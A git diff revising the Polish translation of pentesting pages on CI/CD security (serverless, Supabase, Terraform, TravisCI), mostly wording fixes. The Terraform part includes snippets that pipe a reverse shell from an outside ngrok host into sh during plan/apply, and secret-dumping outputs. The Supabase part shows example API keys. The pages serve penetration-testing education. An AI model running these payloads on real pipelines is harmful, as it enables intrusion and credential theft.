+Ujawione konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów CI/CD mogą prowadzić do złośliwych wdrożeń kodu lub błędnych konfiguracji.
#### **Strategie łagodzenia**
- **Zabezpiecz Pipeline'y CI/CD:** Wprowadź ścisłe kontrole dostępu, uwierzytelnianie wieloskładnikowe (MFA) i regularne audyty.
-- **Bezpieczne Przechowywanie Konfiguracji:** Utrzymuj pliki wdrożeniowe wolne od zakodowanych sekretów i wrażliwych danych.
+- **Przechowuj Konfigurację Bezpiecznie:** Utrzymuj pliki wdrożeniowe wolne od twardo zakodowanych tajemnic i wrażliwych danych.
- **Użyj Narzędzi Bezpieczeństwa Infrastruktury jako Kodu (IaC):** Wykorzystaj narzędzia takie jak **Checkov** lub **Terraform Sentinel** do egzekwowania polityk bezpieczeństwa.
- **Niezmienność Wdrożeń:** Zapobiegaj nieautoryzowanym zmianom po wdrożeniu, przyjmując praktyki niezmiennej infrastruktury.
@@ -755,7 +755,7 @@ Ujawniłe konfiguracje wdrożeniowe lub nieautoryzowany dostęp do pipeline'ów
### **Luki w Wtyczkach i Rozszerzeniach**
-Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki do aplikacji serverless.
+Używanie nieweryfikowanych lub złośliwych wtyczek stron trzecich może wprowadzać luki w aplikacjach serverless.
#### **Strategie łagodzenia**
@@ -773,8 +773,8 @@ Funkcje dostępne publicznie lub nieograniczone API mogą być wykorzystywane do
#### **Strategie łagodzenia**
- **Ogranicz Dostęp do Funkcji:** Użyj VPC, grup zabezpieczeń i reguł zapory, aby ograniczyć dostęp do zaufanych źródeł.
-- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelniania i autoryzacji.
-- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie tempa.
+- **Wprowadź Solidne Uwierzytelnianie:** Upewnij się, że wszystkie ujawnione punkty końcowe wymagają odpowiedniego uwierzytelnienia i autoryzacji.
+- **Bezpiecznie Używaj Bramek API:** Skonfiguruj bramki API, aby egzekwować polityki bezpieczeństwa, w tym walidację danych wejściowych i ograniczenie szybkości.
- **Wyłącz Nieużywane Punkty Końcowe:** Regularnie przeglądaj i wyłączaj wszelkie punkty końcowe, które nie są już używane.
---
@@ -785,13 +785,13 @@ Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpra
#### **Strategie łagodzenia**
-- **Zasada Najmniejszych Uprawnień:** Upewnij się, że członkowie zespołu i współpracownicy mają tylko te uprawnienia, które są niezbędne do wykonywania ich zadań.
+- **Zasada Najmniejszych Uprawnień:** Upewnij się, że członkowie zespołu i współpracownicy mają tylko te uprawnienia, które są niezbędne do wykonywania swoich zadań.
---
### **Bezpieczeństwo Kluczy Dostępu i Kluczy Licencyjnych**
-**Klucze Dostępu** i **Klucze Licencyjne** to kluczowe poświadczenia używane do uwierzytelniania i autoryzacji interakcji z interfejsem CLI Frameworka Serverless.
+**Klucze Dostępu** i **Klucze Licencyjne** to krytyczne poświadczenia używane do uwierzytelniania i autoryzacji interakcji z interfejsem CLI Frameworka Serverless.
- **Klucze Licencyjne:** To unikalne identyfikatory wymagane do uwierzytelnienia dostępu do Frameworka Serverless Wersja 4, które umożliwiają logowanie przez CLI.
- **Klucze Dostępu:** Poświadczenia, które pozwalają interfejsowi CLI Frameworka Serverless uwierzytelnić się z Dashboardem Frameworka Serverless. Podczas logowania za pomocą `serverless` cli klucz dostępu zostanie **wygenerowany i zapisany na laptopie**. Możesz również ustawić go jako zmienną środowiskową o nazwie `SERVERLESS_ACCESS_KEY`.
@@ -799,7 +799,7 @@ Przyznawanie nadmiernych uprawnień członkom zespołu i zewnętrznym współpra
#### **Ryzyka Bezpieczeństwa**
1. **Ujawnienie przez Repozytoria Kodów:**
-- Zakodowanie lub przypadkowe zatwierdzenie Kluczy Dostępu i Kluczy Licencyjnych do systemów kontroli wersji może prowadzić do nieautoryzowanego dostępu.
+- Twarde kodowanie lub przypadkowe zatwierdzenie Kluczy Dostępu i Kluczy Licencyjnych do systemów kontroli wersji może prowadzić do nieautoryzowanego dostępu.
2. **Niezabezpieczone Przechowywanie:**
- Przechowywanie kluczy w postaci tekstu jawnego w zmiennych środowiskowych lub plikach konfiguracyjnych bez odpowiedniego szyfrowania zwiększa prawdopodobieństwo wycieku.
3. **Niewłaściwa Dystrybucja:**
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index c2d719945..6cd46e961 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
Zgodnie z ich [**stroną główną**](https://supabase.com/): Supabase to otwartoźródłowa alternatywa dla Firebase. Rozpocznij swój projekt z bazą danych Postgres, uwierzytelnianiem, natychmiastowymi API, funkcjami Edge, subskrypcjami w czasie rzeczywistym, przechowywaniem i osadzeniami wektorowymi.
-### Subdomain
+### Subdomena
Zasadniczo, gdy projekt jest tworzony, użytkownik otrzymuje subdomenę supabase.co, taką jak: **`jnanozjdybtpqgcwhdiz.supabase.co`**
-## **Database configuration**
+## **Konfiguracja bazy danych**
> [!TIP]
> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/database`**
@@ -28,22 +28,22 @@ Ta sekcja zawiera również opcje do:
- Skonfigurowania rozmiaru dysku
- Zastosowania ograniczeń i zakazów sieciowych
-## API Configuration
+## Konfiguracja API
> [!TIP]
> **Te dane można uzyskać z linku takiego jak `https://supabase.com/dashboard/project//settings/api`**
URL do uzyskania dostępu do API supabase w Twoim projekcie będzie wyglądał jak: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
-### anon api keys
+### anon klucze API
-Wygeneruje również **anon API key** (`role: "anon"`), taki jak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, który aplikacja będzie musiała użyć, aby skontaktować się z kluczem API ujawnionym w naszym przykładzie w
+Wygeneruje również **anon klucz API** (`role: "anon"`), taki jak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, który aplikacja będzie musiała użyć, aby skontaktować się z kluczem API ujawnionym w naszym przykładzie w
-Można znaleźć API REST do kontaktu z tym API w [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ale najbardziej interesujące punkty końcowe to:
+Można znaleźć API REST do kontaktu z tym API w [**dokumentacji**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ale najbardziej interesujące punkty końcowe to:
-Signup (/auth/v1/signup)
+Rejestracja (/auth/v1/signup)
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -101,9 +101,9 @@ Priority: u=1, i
Więc, za każdym razem, gdy odkryjesz klienta używającego supabase z subdomeną, którą mu przyznano (możliwe, że subdomena firmy ma CNAME nad ich subdomeną supabase), możesz spróbować **utworzyć nowe konto na platformie za pomocą API supabase**.
-### klucze api secret / service_role
+### klucze API secret / service_role
-Sekretny klucz API również zostanie wygenerowany z **`role: "service_role"`**. Ten klucz API powinien być sekretny, ponieważ będzie mógł obejść **Row Level Security**.
+Klucz API secret również zostanie wygenerowany z **`role: "service_role"`**. Ten klucz API powinien być tajny, ponieważ będzie mógł obejść **Row Level Security**.
Klucz API wygląda tak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
@@ -125,7 +125,7 @@ To bardzo zły pomysł, ponieważ supabase pobiera opłaty za aktywnego użytkow
### Hasła i sesje
-Możliwe jest wskazanie minimalnej długości hasła (domyślnie), wymagań (brak domyślnie) i zabronienie używania wyciekłych haseł.\
+Możliwe jest określenie minimalnej długości hasła (domyślnie), wymagań (brak domyślnie) i zabronienie używania wyciekłych haseł.\
Zaleca się **poprawienie wymagań, ponieważ domyślne są słabe**.
- Sesje użytkowników: Możliwe jest skonfigurowanie, jak działają sesje użytkowników (czasy oczekiwania, 1 sesja na użytkownika...)
@@ -138,10 +138,10 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili.
### Ustawienia zaawansowane
- Ustaw czas wygaśnięcia dla tokenów dostępu (3600 domyślnie)
-- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania oraz czas oczekiwania
+- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania i czas oczekiwania
- MFA: Wskaź, ile czynników MFA może być zarejestrowanych jednocześnie na użytkownika (10 domyślnie)
- Maksymalna liczba bezpośrednich połączeń z bazą danych: Maksymalna liczba połączeń używanych do uwierzytelniania (10 domyślnie)
-- Maksymalny czas trwania żądania: Maksymalny czas, przez jaki żądanie uwierzytelnienia może trwać (10s domyślnie)
+- Maksymalny czas trwania żądania: Maksymalny czas, jaki może trwać żądanie uwierzytelnienia (10s domyślnie)
## Przechowywanie
@@ -154,6 +154,6 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili.
## Funkcje Edge
-Możliwe jest również **przechowywanie sekretów** w supabase, które będą **dostępne przez funkcje edge** (mogą być tworzone i usuwane z sieci, ale nie można uzyskać dostępu do ich wartości bezpośrednio).
+Możliwe jest również **przechowywanie tajemnic** w supabase, które będą **dostępne przez funkcje edge** (mogą być tworzone i usuwane z sieci, ale nie można uzyskać dostępu do ich wartości bezpośrednio).
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 4c23bb885..f765cb4ee 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -6,7 +6,7 @@
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla ludzi plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
+HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
#### Jak działa Terraform?
@@ -14,11 +14,11 @@ Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługa
.png>)
-HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkich publicznie dostępnych dostawców można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
+HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Możesz znaleźć wszystkich publicznie dostępnych dostawców w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
Podstawowy przepływ pracy Terraform składa się z trzech etapów:
-- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w różnych dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
+- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.
- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.
@@ -32,7 +32,7 @@ Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-
## RCE w Terraform
-Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
+Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy zenumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
@@ -48,7 +48,7 @@ Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, ab
### Terraform plan
-Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
+Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
**Używając zewnętrznego dostawcy**
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Używanie niestandardowego dostawcy**
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Atakujący mógłby wysłać [niestandardowego dostawcę](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w gałęzi funkcji ([przykład stąd](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell Terraform w gałęzi** wewnątrz repozytorium, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
+Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
## Zrzuty sekretów
-Możesz mieć **wartości sekretów używanych przez terraform zrzucane** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
+Możesz uzyskać **zrzuty tajnych wartości używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,13 +124,13 @@ value = nonsensitive(var.do_token)
```
## Wykorzystywanie plików stanu Terraform
-W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku:
+W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku:
### Usuwanie zasobów
Istnieją 2 sposoby na zniszczenie zasobów:
-1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia**
+1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
```json
@@ -180,7 +180,7 @@ version = "3.0.0"
}
}
```
-Następnie możesz użyć `external` jak zwykle.
+Możesz wtedy użyć `external` jak zwykle.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
@@ -195,7 +195,7 @@ Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC)
- **Funkcje:**
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
-- Zautomatyzowane prośby o poprawki.
+- Automatyczne prośby o poprawki.
- Szczegółowe porady dotyczące usuwania problemów.
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
```bash
@@ -208,7 +208,7 @@ snyk iac test /path/to/terraform/code
**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
-Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
+Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością, korzystając z skanowania opartego na grafach.
Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
```bash
@@ -219,12 +219,12 @@ checkov -d /path/to/folder
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
-- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów.
+- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
-- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem.
+- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
-- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół.
+- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
> [!NOTE]
> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
@@ -254,21 +254,21 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
-Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
+Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju twojej infrastruktury jako kodu z **KICS** od Checkmarx.
-**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym.
+**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu natywnego w chmurze.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
-Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala Ci na:
+Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
-- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
+- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
- Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
-- Oferuje elastyczność uruchamiania lokalnie lub integracji z Twoim CI\CD.
+- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
```bash
brew install terrascan
```
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index c03628c32..532f24e78 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-Github PRs są mile widziane, wyjaśniając, jak (nadużywać) tych platform z perspektywy atakującego
+Proszę o zgłoszenia PR na Githubie wyjaśniające, jak (nadużywać) tych platform z perspektywy atakującego
- Drone
- TeamCity
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 28f612675..e207d0229 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -2,62 +2,62 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is TravisCI
+## Czym jest TravisCI
-**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji**, która służy do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
+**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji** używana do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
-## Attacks
+## Ataki
-### Triggers
+### Wyzwalacze
-Aby przeprowadzić atak, najpierw musisz wiedzieć, jak uruchomić budowę. Domyślnie TravisCI **uruchomi budowę przy pushach i pull requestach**:
+Aby przeprowadzić atak, najpierw musisz wiedzieć, jak wyzwolić budowę. Domyślnie TravisCI **wyzwala budowę przy pushach i pull requestach**:
.png>)
-#### Cron Jobs
+#### Zadania Cron
-Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić crony do uruchamiania budowy**, co może być przydatne do utrzymania lub uruchamiania budowy:
+Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić zadania cron do uruchamiania budowy**, co może być przydatne do utrzymania lub wyzwolenia budowy:
.png>)
> [!NOTE]
-> Wygląda na to, że nie jest możliwe ustawienie cronów wewnątrz `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162).
+> Wygląda na to, że nie można ustawić zadań cron w pliku `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162).
-### Third Party PR
+### PR zewnętrznych podmiotów
-TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR-ów pochodzących od stron trzecich, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksfiltrować sekrety:
+TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR pochodzących od zewnętrznych podmiotów, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksportować sekrety:
.png>)
-### Dumping Secrets
+### Zrzucanie sekretów
-Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na finalnych maszynach).
+Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na końcowych maszynach).
-- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** projektu i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się podczas uruchamiania budowy.
+- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** **projektu** i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się przy wyzwalaniu budowy.
